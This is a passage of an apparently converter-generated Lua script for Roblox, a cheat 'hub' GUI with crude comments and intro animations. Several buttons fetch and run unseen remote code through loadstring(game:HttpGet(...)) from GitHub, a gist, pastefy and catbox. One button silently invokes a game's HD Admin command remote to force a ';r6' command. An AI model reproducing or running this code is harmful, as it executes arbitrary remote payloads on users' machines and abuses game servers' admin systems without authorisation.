Aka valeratter
Gayest script ever
]]
loadstring(game:HttpGet("https://raw.githubusercontent.com/KryptIT/relgai/refs/heads/main/wellnoshitsherlockthisworksrealbtwf3xmango67bycityboijkbyW.X.A.lua"))()
end)
end
coroutine.wrap(TKTEZTF_fake_script)()
local function DSSE_fake_script() -- ligmaXD.IntroTween
local script = Instance.new('LocalScript', ligmaXD)
local img = script.Parent.ImageLabel
local TweenService = game:GetService("TweenService")
local txt = img.TextLabel
wait(1)
img:TweenPosition(UDim2.new(0.458, 0, 0.408, 0), "Out", "Linear", 0.4, false)
wait(3)
img:TweenPosition(UDim2.new(0.01, 0, 0.813, 0), "Out", "Sine", 0.7, false)
wait(1)
TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play()
TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play()
for i,v in pairs(game.Players:GetPlayers()) do
if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then -- R6 detection
btn.BackgroundTransparency = 1
btn.TextTransparency = 1
elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then -- R15 detection
TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play()
TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play()
end
end
wait(2)
while wait() do
for i,v in pairs(game.Players:GetPlayers()) do
if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
btn.Transparency = 1
elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
btn.Transparency = 0
end
end
end
end
coroutine.wrap(DSSE_fake_script)()
end)
end;
task.spawn(C_57);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_59()
local script = G2L["59"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastefy.app/o5B2BC2O/raw"))()
end)
end;
task.spawn(C_59);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5b()
local script = G2L["5b"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://files.catbox.moe/jie1d1.txt"))()
end)
end;
task.spawn(C_5b);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5d()
local script = G2L["5d"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet"https://gist.githubusercontent.com/KryptIT/eca10bc724885c0892a9e4cd16eb5846/raw/cdc0e5ffbe14680a7eba97ce9874391a07de78b7/tuff.lua")()
end)
end;
task.spawn(C_5d);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5f()
local script = G2L["5f"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";r6")
end)
end;
task.spawn(C_5f);
return G2L["1"], require;